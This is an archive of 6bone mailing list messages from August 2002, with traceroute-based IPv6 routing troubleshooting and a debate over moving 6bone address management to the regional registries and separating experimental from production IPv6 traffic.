>>But from host I cannot do it, is evident that my zebra-bgpd not this 
>>formed good, I have the following configuration:
>>
>>[root@host root]# traceroute6 3ffe:8260:200e:fffd::1
>>traceroute to 3ffe:8260:200e:fffd::1 (3ffe:8260:200e:fffd::1) from 
>>3ffe:8070:101a:1001:260:8ff:fecb:7e84, 30 hops max, 16 byte packets
>> 1  3ffe:8070:101a:1001:201:2ff:fe7c:ef79 
>>(3ffe:8070:101a:1001:201:2ff:fe7c:ef79)  1.199 ms  1.219 ms  1.144 ms
>> 2  * * * *
>> 3  * * * *
>>
>
>~$ traceroute6 3ffe:8260:200e:fffd::1
>traceroute to 3ffe:8260:200e:fffd::1 (3ffe:8260:200e:fffd::1) from
>3ffe:81f1:21:1::5, 30 hops max, 16 byte packets
> 1  feth1-0-levgw1.fr.corp.ndsoftware.net (3ffe:81f1:21:1::1)  0.216 ms 
>0.178 ms  0.223 ms
> 2  eth1-0-parcr2.fr.ndsoftwarenet.net (3ffe:81f1:12:1::1)  1.03 ms 
>1.942 ms  1.683 ms
> 3  feth0-1-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:0:1::1)  132.792 ms 
>193.106 ms  69.717 ms
> 4  * compendium-ar-gw-parcr1.fr.ndsoftwarenet.net
>(3ffe:81f1:1:202f::2)  94.523 ms !H  98.792 ms !H
>
>Route missing on COMPENDIUM-AR router.
>
>~$ traceroute6 3ffe:8070:101a:1001:260:8ff:fecb:7e84
>traceroute to 3ffe:8070:101a:1001:260:8ff:fecb:7e84
>(3ffe:8070:101a:1001:260:8ff:fecb:7e84) from 3ffe:81f1:21:1::5, 30 hops
>max, 16 byte packets
> 1  feth1-0-levgw1.fr.corp.ndsoftware.net (3ffe:81f1:21:1::1)  0.216 ms 
>0.164 ms  0.13 ms
> 2  eth1-0-parcr2.fr.ndsoftwarenet.net (3ffe:81f1:12:1::1)  1.444 ms 
>1.046 ms  0.973 ms
> 3  feth0-1-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:0:1::1)  68.132 ms 
>77.848 ms  76.148 ms
> 4  unam-gw-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:1:2031::2)  304.114
>ms *  293.776 ms
> 5  * unam-gw-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:1:2031::2)  3321.15
>ms !H  3306.1 ms !H
>
>Route missing on UNAM router.
>
>$ traceroute6 3ffe:8070:101a::2
>traceroute to 3ffe:8070:101a::2 (3ffe:8070:101a::2) from
>3ffe:81f1:21:1::5, 30 hops max, 16 byte packets
> 1  feth1-0-levgw1.fr.corp.ndsoftware.net (3ffe:81f1:21:1::1)  0.206 ms 
>0.167 ms  0.13 ms
> 2  eth1-0-parcr2.fr.ndsoftwarenet.net (3ffe:81f1:12:1::1)  1.104 ms 
>1.025 ms  1.001 ms
> 3  feth0-1-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:0:1::1)  97.304 ms 
>101.802 ms  73.949 ms
> 4  unam-gw-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:1:2031::2)  298.556
>ms *  294.819 ms
> 5  3ffe:8070:101a::2 (3ffe:8070:101a::2)  1174 ms  1175.89 ms *
>
>Your tunnel work.
>
>Best Regards,
>
>Nicolas DEFFAYET
>




From nicolas.deffayet@ndsoftware.net Tue Aug 20 15:33:55 2002
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From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe>
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	<3D624D49.1090004@ipv6.inictel.gob.pe>	<20020820.232955.53308759.yoshfuji@li
	 
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On Wed, 2002-08-21 at 00:19, Gino Francisco Alania Hurtado wrote:
> 
> the configurations of zebra and radvd previously... that estara failing?
> 


You must ask UNAM and COMPENDIUM-AR for check routing to you.

Best Regards,

Nicolas DEFFAYET


From rmk@arm.linux.org.uk Tue Aug 20 16:18:15 2002
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From: Russell King <rmk@arm.linux.org.uk>
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On Wed, Aug 21, 2002 at 12:34:49AM +0200, Nicolas DEFFAYET wrote:
> On Wed, 2002-08-21 at 00:19, Gino Francisco Alania Hurtado wrote:
> > 
> > the configurations of zebra and radvd previously... that estara failing?
> You must ask UNAM and COMPENDIUM-AR for check routing to you.

Here's a couple of traceroutes from within COMPENDIUM-AR pTLA to both:
	3ffe:8070:101a::2
	3ffe:8070:101a:1001:260:8ff:fecb:7e84

Note that the second one stops at 3ffe:8070:1:13::1 (ICMP errors
indicate "Address unreachable".)  I suspect 3ffe:8070:1:13::1 doesn't
know to forward the your other addresses to you.

traceroute to 3ffe:8070:101a::2 (3ffe:8070:101a::2) from 3ffe:8260:2002:fffe::2, 30 hops max, 16 byte packets
 1  nlo-gw.remote (3ffe:8260:2002:fffe::1)  36.818 ms  38.026 ms  37.981 ms
 2  3ffe:8100:200:2fff::8 (3ffe:8100:200:2fff::8)  49.71 ms *  47.955 ms
 3  edt-euronet.ipv6.edisontel.it (3ffe:8170:1:10::1)  91.766 ms  94.117 ms  92.057 ms
 4  3ffe:80c0:200:5::22 (3ffe:80c0:200:5::22)  238.028 ms  240.992 ms  239.277 ms
 5  3ffe:8070:1:13::1 (3ffe:8070:1:13::1)  433.069 ms *  431.097 ms
 6  3ffe:8070:101a::2 (3ffe:8070:101a::2)  990.993 ms  1015.05 ms  1217.12 ms

traceroute to 3ffe:8070:101a:1001:260:8ff:fecb:7e84 (3ffe:8070:101a:1001:260:8ff:fecb:7e84) from 3ffe:8260:2002:fffe::2, 30 hops max, 16 byte packets
 1  nlo-gw.remote (3ffe:8260:2002:fffe::1)  37.3 ms  37.617 ms  34.967 ms
 2  3ffe:8100:200:2fff::8 (3ffe:8100:200:2fff::8)  48.978 ms *  47.501 ms
 3  edt-euronet.ipv6.edisontel.it (3ffe:8170:1:10::1)  91.166 ms  90.711 ms  92.088 ms
 4  3ffe:80c0:200:5::22 (3ffe:80c0:200:5::22)  241.358 ms  239.839 ms  239.061 ms
 5  3ffe:8070:1:13::1 (3ffe:8070:1:13::1)  433.106 ms *  430.6 ms
 6  3ffe:8070:1:13::1 (3ffe:8070:1:13::1)  3434.07 ms !H  3515.56 ms !H  3491.21 ms !H


-- 
Russell King (rmk@arm.linux.org.uk)                The developer of ARM Linux
             http://www.arm.linux.org.uk/personal/aboutme.html


From Robert.Kiessling@de.easynet.net Tue Aug 20 16:37:40 2002
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Rik van Riel <riel@conectiva.com.br> writes:

> Agreed.  6bone is essential for those areas of the internet
> where the "normal" providers do not offer ipv6 yet.

6bone is a major source of instability for the production IPv6 network
and thus hinders deployment of IPv6.

You cannot seriously recomment anyone to trust production services to
a network in which a single faulty BGP implementation can and does
repeatedly bring down half the network (as recenty seen by AS1654).

> It would be a shame if the ipv6 community would kick it's
> current user community out the door...

There's now a lot of production IPv6 connectivity available, and I'm
pretty sure that the backbone which now deploy IPv6 natively can agree
to provide sufficient IPv6 connecticity, in return for a stable
network.

I don't see much need for an integrated extensively tunneled
experimental-software IPv6 network any more.

Well-controlled end sites and address allocation to them for
experimental purposes is a different story, but them must be isolated
so they cannot wreak havoc to the rest of the world.

Robert


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On 21 Aug 2002, Robert Kiessling wrote:
> Rik van Riel <riel@conectiva.com.br> writes:
>
> > Agreed.  6bone is essential for those areas of the internet
> > where the "normal" providers do not offer ipv6 yet.
>
> 6bone is a major source of instability for the production IPv6 network
> and thus hinders deployment of IPv6.

[snip]

> Well-controlled end sites and address allocation to them for
> experimental purposes is a different story, but them must be isolated
> so they cannot wreak havoc to the rest of the world.

Agreed.  We want to isolate the production and experimental
ipv6 networks somewhat, to make sure the production network
stays stable and won't be affected by instabilities in the
exerimental network.

I just hope this will be done in a way that doesn't cut any
of the current ipv6 users from the ipv6 internet.

regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


From nicolas.deffayet@ndsoftware.net Tue Aug 20 16:54:10 2002
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From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
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On Wed, 2002-08-21 at 01:51, Robert Kiessling wrote:
> Rik van Riel <riel@conectiva.com.br> writes:
> 
> > Agreed.  6bone is essential for those areas of the internet
> > where the "normal" providers do not offer ipv6 yet.
> 
> 6bone is a major source of instability for the production IPv6 network
> and thus hinders deployment of IPv6.

Not fully agree.
The problem of instability can be do by sTLA.

> 
> You cannot seriously recomment anyone to trust production services to
> a network in which a single faulty BGP implementation can and does
> repeatedly bring down half the network (as recenty seen by AS1654).

The problem of AS1654 can be too on production network...

> 
> > It would be a shame if the ipv6 community would kick it's
> > current user community out the door...
> 
> There's now a lot of production IPv6 connectivity available, and I'm
> pretty sure that the backbone which now deploy IPv6 natively can agree
> to provide sufficient IPv6 connecticity, in return for a stable
> network.

Not in all city and in all country...

Regards,

Nicolas DEFFAYET



From nicolas.deffayet@ndsoftware.net Tue Aug 20 16:55:57 2002
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To: Rik van Riel <riel@conectiva.com.br>
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   Bob Fink
	 <fink@es.net>, 6BONE List <6bone@mailman.isi.edu>
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On Wed, 2002-08-21 at 01:42, Rik van Riel wrote:
> 
> Agreed.  We want to isolate the production and experimental
> ipv6 networks somewhat, to make sure the production network
> stays stable and won't be affected by instabilities in the
> exerimental network.
> 
> I just hope this will be done in a way that doesn't cut any
> of the current ipv6 users from the ipv6 internet.
> 

Not easy to isolate the production and experimental ipv6 networks.
A lot of ISP use the same routers for 6bone and production activities.

Best Regards,

Nicolas DEFFAYET


From bmanning@ISI.EDU Tue Aug 20 17:27:24 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
In-Reply-To: <m31y8t84y5.fsf@joseba.easynet.de> from Robert Kiessling at "Aug 21, 2 00:51:14 am"
To: Robert.Kiessling@de.easynet.net (Robert Kiessling)
Date: Tue, 20 Aug 2002 17:26:46 -0700 (PDT)
Cc: riel@conectiva.com.br, nicolas.deffayet@ndsoftware.net, fink@es.net,
   6bone@ISI.EDU
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% 6bone is a major source of instability for the production IPv6 network
% and thus hinders deployment of IPv6.

	Nope.

% You cannot seriously recomment anyone to trust production services to
% a network in which a single faulty BGP implementation can and does
% repeatedly bring down half the network (as recenty seen by AS1654).

	What does a faulty BGP implementation have to do with 
	a prefix?

% There's now a lot of production IPv6 connectivity available, and I'm
% pretty sure that the backbone which now deploy IPv6 natively can agree
% to provide sufficient IPv6 connecticity, in return for a stable
% network.

	Please back your assertions.

% Robert


-- 
--bill

From pfs@cisco.com Tue Aug 20 19:05:18 2002
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  responsibilities to RIRs
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At 21:03 20/08/2002 +0200, Nicolas DEFFAYET wrote:
>On Tue, 2002-08-20 at 18:49, Bob Fink wrote:
> >
> > c)    In order to receive 6bone address services from an RIR as described
> > here, each 6bone member must "join" that RIR, that is, enter into the
> > appropriate membership or services agreement with the RIR.
>
>I'm not agree with that.
>
>appropriate membership = LIR ?
>If yes, it's very bad; a lot of pTLA aren't LIR and a LIR can request a
>sTLA, why a LIR will request a 6bone address space ?

This is one discussion point. Bob says "appropriate membership" - it would 
be useful if you'd give opinions as to what that membership might be. Would 
certainly help the registries and Bob.

>6bone must be open, free and independent.
>A pTLA request must be free and without membership.

Independent of what? Why would having someone apart from Bob run the 
address registry suddenly make the 6bone closed, non-free, and 
non-independent? Even the IPv4 Internet is open, non-free and independent, 
so please explain the problem you see.

Bob has run the registry for free for the last many years. He could have 
charged money for it, simply to cover the costs he has undoubtedly accrued. 
It's not unreasonable, is it?

>6bone address services must be free.

This isn't an argument. Why?

>Since 1996 it's free and it's workfine !

What, the 6bone, or the 6bone registry? There is a difference.

I'm only trying to encourage people to express reasons with justifications 
- assertions that "life must go on without any changes" aren't too useful 
given that Bob is proposing a change.

philip
--


From michel@arneill-py.sacramento.ca.us Tue Aug 20 20:28:27 2002
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6boners,

Please keep in mind that the choice that we are facing is *not* between
keeping the 6bone as-is and transferring it to RIRs.

The choice we are facing is between transferring it to RIRs transferring
it to v6ops.

Michel.

From rjorgensen@upctechnology.com Wed Aug 21 00:35:11 2002
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From: Roger Jorgensen <rjorgensen@upctechnology.com>
Subject: Re: [6bone] proposal for transfer of 6bone address management
  responsibilities to RIRs
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At 08:42 PM 8/20/2002 -0300, Rik van Riel wrote:
>On 21 Aug 2002, Robert Kiessling wrote:
> > Rik van Riel <riel@conectiva.com.br> writes:
> >
> > > Agreed.  6bone is essential for those areas of the internet
> > > where the "normal" providers do not offer ipv6 yet.
> >
> > 6bone is a major source of instability for the production IPv6 network
> > and thus hinders deployment of IPv6.
>
>[snip]
>
> > Well-controlled end sites and address allocation to them for
> > experimental purposes is a different story, but them must be isolated
> > so they cannot wreak havoc to the rest of the world.
>
>Agreed.  We want to isolate the production and experimental
>ipv6 networks somewhat, to make sure the production network
>stays stable and won't be affected by instabilities in the
>exerimental network.
>
>I just hope this will be done in a way that doesn't cut any
>of the current ipv6 users from the ipv6 internet.

If we can assume that 6bone will not be used for production site
any provider that don't want to have a connection to 6bone can put
filter on who they allow 3ffe::/16 from, possible remove them. It
allow ISP's to decide if they want to provide access to 6bone or not.

Of course we can't assume that all production sites only will be
runned of RIR space so the solution isn't good, but it might be
one way to divide 6bone a bit from the rest.

But, seperation of 6bone from RIR will not garanty stability in the
network, let's use the recent AS1654 episode as example again,
how can we avoid that one singel AS announce all sTLA?

In IPv4 you filter very strict on what you allow and what you aggregate,
is this one way to go for IPv6?  Or should we try to come up with
another solution to avoid one singel AS to announce ALL sTLA's?
(no AS should announce more than one sTLA normaly...)




---
Roger Jorgensen (rjorgensen@chello.com)
System Engineer @ UPC Technology / IP engineering
handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID



From rvdp@kirk.rvdp.org Wed Aug 21 00:50:52 2002
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From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Giacomo Cariello <jwk@bug.it>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] pTLA request BUI - review closes 3 September 2002
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On Tue, Aug 20, 2002 at 10:41:52 +0200, Giacomo Cariello wrote:

> I've had a talk with CEO of Data Service, our IPv4 connectivity partner and 
> I agreed with him to anticipate IPv6 deployment schedule for their 
> organization.
> Data Service would be interested in requesting a pTLA status for IPv6 
> deployment reasons, which would be well justified, considering they are an 
> ISP serving hundreds end-sites and regional organizations and offering 
> various types of connectivity services.

You can request RIR IPv6 address just like you do for IPv4. Have
Data Service ask for an IPv6 allocation from RIPE NCC. See:
http://www.ripe.net/ripe/docs/ipv6-initial.html

For background about the policy see:
http://www.ripe.net/ripe/docs/ipv6policy.html

And for general information about IPv6 see:
http://www.ripe.net/ipv6/

	rvdp

From nicolas.deffayet@ndsoftware.net Wed Aug 21 02:30:42 2002
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Subject: Re: [6bone] proposal for transfer of 6bone address management
	responsibilities to RIRs
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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On Wed, 2002-08-21 at 03:54, Philip Smith wrote:
> At 21:03 20/08/2002 +0200, Nicolas DEFFAYET wrote:
> >On Tue, 2002-08-20 at 18:49, Bob Fink wrote:
> > >
> > > c)    In order to receive 6bone address services from an RIR as described
> > > here, each 6bone member must "join" that RIR, that is, enter into the
> > > appropriate membership or services agreement with the RIR.
> >
> >I'm not agree with that.
> >
> >appropriate membership = LIR ?
> >If yes, it's very bad; a lot of pTLA aren't LIR and a LIR can request a
> >sTLA, why a LIR will request a 6bone address space ?
> 
> This is one discussion point. Bob says "appropriate membership" - it would 
> be useful if you'd give opinions as to what that membership might be. Would 
> certainly help the registries and Bob.

If i must pay for get a IP address space, i will do for a sTLA, not a
pTLA.

> 
> >6bone must be open, free and independent.
> >A pTLA request must be free and without membership.
> 
> Independent of what? Why would having someone apart from Bob run the 
> address registry suddenly make the 6bone closed, non-free, and 
> non-independent? Even the IPv4 Internet is open, non-free and independent, 
> so please explain the problem you see.

Independent of RIR.

> 
> Bob has run the registry for free for the last many years. He could have 
> charged money for it, simply to cover the costs he has undoubtedly accrued. 
> It's not unreasonable, is it?

I provide free IPv6 services to a lot of users on 6bone, if i must pay
for a IP address space, i can't provide this service free.
Nothing cover my cost of bandwitch and time, i do this free services for
the community.

6bone must be free, if not why keep 6bone ?
You want kill the 6bone ?

> 
> >6bone address services must be free.
> 
> This isn't an argument. Why?

A lot of project/ISP don't have a budget for that.

> 
> >Since 1996 it's free and it's workfine !
> 
> What, the 6bone, or the 6bone registry? There is a difference.

The both (pTLA + registry).

Best Regards,

Nicolas DEFFAYET



From pfs@cisco.com Wed Aug 21 03:45:34 2002
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At 11:32 21/08/2002 +0200, Nicolas DEFFAYET wrote:

>If i must pay for get a IP address space, i will do for a sTLA, not a
>pTLA.

You have to pay to get IPv4, you have to pay for IPv6 global space. I guess 
there could be an option not to pay for 3ffe::/16 space.

> > Independent of what? Why would having someone apart from Bob run the
> > address registry suddenly make the 6bone closed, non-free, and
> > non-independent? Even the IPv4 Internet is open, non-free and independent,
> > so please explain the problem you see.
>
>Independent of RIR.

Why?

>I provide free IPv6 services to a lot of users on 6bone, if i must pay
>for a IP address space, i can't provide this service free.
>Nothing cover my cost of bandwitch and time, i do this free services for
>the community.

This is similar to the infancy of the IPv4 Internet. I guess one option is 
to simply keep the IPv6 network as a free play thing, and tell the people 
who want to make money out of it to carry on using IPv4?

>6bone must be free, if not why keep 6bone ?
>You want kill the 6bone ?

I'm not clear how the proposed transition of the 6bone registry to the RIRs 
has any relationship with the actual test network called the 6bone. Maybe 
you can explain? I didn't see anything in the proposal that says "kill 6bone".

>A lot of project/ISP don't have a budget for that.

That's useful feedback for Bob and the RIRs, I think.

> >
> > >Since 1996 it's free and it's workfine !
> >
> > What, the 6bone, or the 6bone registry? There is a difference.
>
>The both (pTLA + registry).

I didn't see any mention of the pTLA being withdrawn - there are quite a 
few people who'd argue that it should be, but then as many argue that there 
is still sufficient experimental work to be done.

But we are basically talking about whether potential 6bone candidates send 
e-mail to Bob Fink, or send e-mail to the RIRs to get their /32 from 
3ffe::/16 space? Aren't we?

cheers,

philip
--


From ashok.kum@wipro.com Wed Aug 21 05:25:26 2002
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From riel@conectiva.com.br Wed Aug 21 06:34:56 2002
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On Wed, 2002-08-21 at 03:54, Philip Smith wrote:
> At 21:03 20/08/2002 +0200, Nicolas DEFFAYET wrote:

> >6bone address services must be free.
>
> This isn't an argument. Why?

Because ipv6 address space is not yet available from all ISPs,
it would be very useful if groups of individuals had an alternative
way of getting ipv6 connectivity, until ipv6 is so widespread that
everybody can just get it from their ISP.

If we want ipv6 to become widely available, I think the last thing
we want to do at this point is reduce its availability.

kind regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


From rvdp@kirk.rvdp.org Wed Aug 21 06:41:31 2002
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From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
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As you know I am increasingly worried about the quality of IPv6
transport. I have far more problems reaching IPv6 destinations than
I have reaching IPv4 destinations. This is not because I have a
bad provider, but because my traffic is blackholed somewhere far
away in the 'Net.

It's becoming so bad that almost every week I have a major IPv6
connectivity problem which prevents me from doing my daily work.
I run dual stack and my applications try IPv6 first. When IPv6
traffic is blackholed somewhere I have a problem. When I am lucky,
the application times out and tries IPv4. If not, I just don't get
a connection. I have to manually type in an IPv4 address.

We are at a stage now that in parts of the world IPv6 is used on
a daily basis. In Japan it's a commercial service for a long time
now. People are paying for IPv6 transport and expect to have a good
IPv6 connectivity.

The current situation is that we have one network, the 6bone
(although it is hard to define what it is exactly). The current
6bone is used for all kinds of experiments (even with old or alpha
routing software) and is used as a playground for people new to
IPv6 (no problem, it's very good, as long as it doesn't interfere
with my production traffic).

I think we should work towards separating experiment and playing
from production.  Experimenting needs to be done, but it should
have minimal impact on production. This is what most :-) do in the
IPv4 world. However, I do not propose to disconnect one from the
other. On the contrary, there should be good connectivity between
them. But I think we should stop the current situation where
production traffic is routed *via* an experimental network. What I
want is IPv6 transport that is treated similar to IPv4 transport.

In the current situation this is hard to accomplish by individual
ISPs because of the tunnels all over the world and transit to
everyone. So I guess we first have to reach concensus whether we
want this separation or not.

BTW, in my opinion "IPv6_production == native_IPv6, per definition"
is *not* true. I think you can do IPv6 production service partly
with tunnels, as long as you are very, very careful about choosing
the paths of the tunnels and the peerings are monitored closely. On
the other hand, accidents will happen on the production IPv6 network,
just as in the IPv4 network. But these should be exceptions, just
as in the IPv4 world and not the daily routine from the current
6bone.

At this stage I am only asking for separation of experiment from
production. I am not saying anything yet about what prefixes to
use where. I am also not saying yet what the experimental network
(the 6bone) should be used for.  I guess all I am saying is: don't
use the 6bone for production traffic. In my view in the new situation
a site can have two kinds of peerings: 6bone peering or production
peering. What should be prevented is traffic coming from the
production network, going via the experimental network to a production
destination.

Comments?

	rvdp

From gert@Space.Net Wed Aug 21 07:25:20 2002
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Hi,

On Tue, Aug 20, 2002 at 09:03:43PM +0200, Nicolas DEFFAYET wrote:
> 6bone address services must be free.
> Since 1996 it's free and it's workfine !

It's free because some people donate time and effort for free.  You
don't have a "Right" to get that for free for ever.  Get real.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  45583  (46871)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From pekkas@netcore.fi Wed Aug 21 08:16:44 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
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On Wed, 21 Aug 2002, Ronald van der Pol wrote:
> Comments?

These have been my worries, as I've been experiencing the same problems 
for some time now.

I've been trying to advocate two things:

 1) "don't do transit" -- yeah it's cool to give transit to everyone, but
you really shouldn't on your rotten Cisco 2600 or 4500 behind a 2 Mbit/s
line!

 2) "not everybody needs a pTLA" -- if we give pTLA to everyone that asks, 
the number of folks that are (practically) able to do 1) increases.  Also, 
this will lead to people filtering whole 6bone space if we want to enforce 
strict aggregation.

The most important thing for stability is starting to unentangle the
tunnel mess, or at least preventing it from getting worse.  Major _real_
transit providers or major ISP's could be in key position here (I'm not
sure how much they're currently), by providing either tunneled or native
v6 transits (traffic which would mostly run through their lines anyway).

But it's a huge task..

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From fink@es.net Wed Aug 21 08:24:07 2002
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Michel, and all 6bone Folk,

At 08:28 PM 8/20/2002 -0700, Michel Py wrote:
>6boners,
>
>Please keep in mind that the choice that we are facing is *not* between
>keeping the 6bone as-is and transferring it to RIRs.
>
>The choice we are facing is between transferring it to RIRs transferring
>it to v6ops.

Not so. Sorry I didn't clear that up earlier. I'll try to do so here.

The 6bone has been under the operational and policy oversight of ngtrans 
since a few months after it was formed in 1996 until recently. During the 
last year that oversight has diminished due to pressures of the primary 
work of ngtrans. When the ngtrans chairs started to re-charter ngtrans, 
Randy Bush (the ngtrans IESG AD) made it clear that he didn't think the 
6bone belonged in a new ngtrans charter. Note there was no discussion of 
where it might sit.

Then just recently discussions started about a new v6ops working group. 
There was no intention to include the 6bone oversight function in its charter.

Independent of 6bone operational policy oversight was the issue of the 
6bone being an address registry outside of the now agreed IPv6 address 
management and registry that the RIRs have developed (with very wide 
participation from the Internet community). This causes problems for two 
reasons:

One is that if the 6bone is allowed to be a high-level address registry not 
under the scrutiny and agreements of the Internet community registry 
processes (i.e., those of the RIRs), others can make the case that they 
should be as well. This will become more and more of a problem as time goes 
on and will likely cause the 6bone's address authority (over 3FFE://16) to 
be withdrawn earlier than might otherwise be appropriate.

Second is that the RIRs have oversight over the ip6.arpa reverse DNS 
registry. As IPv6 deployment evolves it becomes increasingly more important 
that 6bone networks can register in the ip6.arpa path. Note that this does 
not mean that you can't use ip6.int, just that ip6.arpa will become 
prevalent in usage and the 6bone must have access to it. It seems unlikely 
that the 6bone will be able to use ip6.arpa without some form of agreement 
with the RIRs.

A few other issues.

In the proposal there is emphasis on keeping the cost of getting 6bone 
prefixes from the RIRs as low as possible. The RIRs, as I, are sensitive to 
the fact that many are unable to spend much (or possibly anything) to 
participate. I would still like to see a way that those claiming they can't 
afford even a nominal/low fee be able to qualify for some special aid. This 
had been discussed briefly but there was no resolution on how it might happen.

The future of the 6bone 3FFE::/16 address block authority and its 
continuance will not be in RIR hands. Where it will be is not obvious yet, 
but I assume somewhere at the IETF policy level. This will be explored in 
the coming months.

Where operational and policy oversight will come from is an interesting 
issue. Although in theory it came, for a while, from ngtrans (as mentioned 
above), this wasn't really true in practice. It really came from the 
collective 6bone community and its own consensus about what worked and what 
didn't. I expect this will continue. The RIRs also expect that the 6bone 
community will continue to make decisions about its operations and policies.

On keeping the 6bone separate from the production IPv6 Internet, I believe 
that to be seldom if ever necessary, and that the decision to do so is a 
local one for any network based on what is being done. The 6bone is part of 
the greater IPv4 and IPv6 integrated Internet and must be for it to be of 
value. Just as we have poorly managed IPv4 networks that cause trouble for 
the greater whole, the 6bone has no monopoly on poor or perfect service 
among IPv6 networks. When we have problems with any IPv6 network we should 
all take steps to get them fixed or isolate them. This is not a 
6bone-specific issue.


We (me and RIRs) appreciate your comments as they do help us understand the 
issues. Keep them coming!


Thanks,

Bob


From rvdp@kirk.rvdp.org Wed Aug 21 08:32:52 2002
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From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] separating IPv6 experimental from production traffic
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On Wed, Aug 21, 2002 at 18:16:09 +0300, Pekka Savola wrote:

> The most important thing for stability is starting to unentangle the
> tunnel mess, or at least preventing it from getting worse.  Major _real_
> transit providers or major ISP's could be in key position here (I'm not
> sure how much they're currently), by providing either tunneled or native
> v6 transits (traffic which would mostly run through their lines anyway).
> 
> But it's a huge task..

I agree with you that the tunnel mess (why do people have dozens of
transit peerings?) and transit to everyone are the major problems.

I think we have two options:
1) clean up the 6bone
2) separate experimental from production

It looks like you propose 1). I propose 2), because experiment and
production don't go well together. But both need the cooperation
of the whole 6bone community. Let's try to reach consensus soon
which way to go.

	rvdp

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>But we are basically talking about whether potential 6bone candidates send 
>e-mail to Bob Fink, or send e-mail to the RIRs to get their /32 from 
>3ffe::/16 space? Aren't we?

Is there any reason to do this?  Bob has done a fantastic job for forever.
Why would we want to move to a pay system from the RIR's who have no
incentive to dish out 3ffe::/16 space for a possible reduced price? when
they have production space. I think Bob is the way to go here.

-Chris
  

From rvdp@kirk.rvdp.org Wed Aug 21 09:22:42 2002
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From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
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On Wed, Aug 21, 2002 at 08:23:27 -0700, Bob Fink wrote:

> On keeping the 6bone separate from the production IPv6 Internet, I believe 
> that to be seldom if ever necessary, and that the decision to do so is a 
> local one for any network based on what is being done.

No, it is not a local decision. That is the problem. When I choose to
serarate them, I can. But my packets travel via several AS-es over
production links until somewhere, far away, it's routed over an
experimental service and gets blackholed. I have a problem when
the policy in that place far away is: well, we are just experimenting
with IPv6. This can only be solved when we all agree on a minimal
quality.

I think we have a very big problem. Some people say: current IPv6
transport is bad. Other people say: there is no problem.

	rvdp

From itojun@itojun.org Wed Aug 21 09:35:31 2002
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From: itojun@iijlab.net
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>Is there any reason to do this?  Bob has done a fantastic job for forever.
>Why would we want to move to a pay system from the RIR's who have no
>incentive to dish out 3ffe::/16 space for a possible reduced price? when
>they have production space. I think Bob is the way to go here.

	Bob can't serve people forever.  in fact, he is a bit older than my dad
	(IIRC), so he should have some plans on retirement and such.
	i consider a system broken when everyone depends on single person.
	(for instance, what happens if Bob experiences a car accident?)

	i really hope major ISPs outside of Japan to roll out IPv6 services
	based on sTLA address, and remove the needs for volunteer-based 6bone.

itojun

From Robert.Kiessling@de.easynet.net Wed Aug 21 09:37:33 2002
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One point to bear in mind: RIRs (at least RIPE) will NOT be
flexible. If they are told to implement 2772, they will do exactly
this, and e.g. immediately reject Euro6IX's application because they
have no prior 6bone experience.

Robert


From michel@arneill-py.sacramento.ca.us Wed Aug 21 09:44:26 2002
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Bob,

>> Michel Py wrote:
>> Please keep in mind that the choice that we are facing is *not*
>> between keeping the 6bone as-is and transferring it to RIRs.
>> The choice we are facing is between transferring it to RIRs
>> transferring it to v6ops.

> Bob Fink wrote:
> Not so. Sorry I didn't clear that up earlier. I'll try to
> do so here.

> Then just recently discussions started about a new v6ops
> working group. There was no intention to include the 6bone
> oversight function in its charter.

My point, precisely.

Assuming (reasonable likeliness) that v6ops will be created and ngtrans
will indeed conclude my understanding was that the 6bone oversight will
be (short-term) either:
- By default transferred to v6ops, who does not care about it and could
dump the 6bone concept as a whole.
- Be transferred into a void.
(none of which is good, IMHO)

> The future of the 6bone 3FFE::/16 address block authority
> and its continuance will not be in RIR hands. Where it will
> be is not obvious yet, but I assume somewhere at the IETF
> policy level. This will be explored in the coming months.

WRT what I wrote above, I think the "where it will be" is one of the
important parts that is missing as of today, IMHO. If you prefer, the
lack of a "home" for the 6bone has "catastrophe" written all over it.

In other words, I don't think we have much of a choice but make this
transfer of address management to the RIRs work.

> Where operational and policy oversight will come from is
> an interesting issue. Although in theory it came, for a
> while, from ngtrans (as mentioned above), this wasn't
> really true in practice.

I think it was true in the sense that you were co-chair of ngtrans at
the time.

> It really came from the  collective 6bone community and its
> own consensus about what worked and what didn't. I expect
> this will continue. The RIRs also expect that the 6bone 
> community will continue to make decisions about its
> operations and policies.

Bob, have you thought about the 6bone being a WG of its own (possibly
outside the O&M area) or something similar? There are things such as the
much discussed "STRICT" prefix-list and related topics that could be
done more formally.


> On keeping the 6bone separate from the production IPv6 Internet,
> I believe that to be seldom if ever necessary, and that the
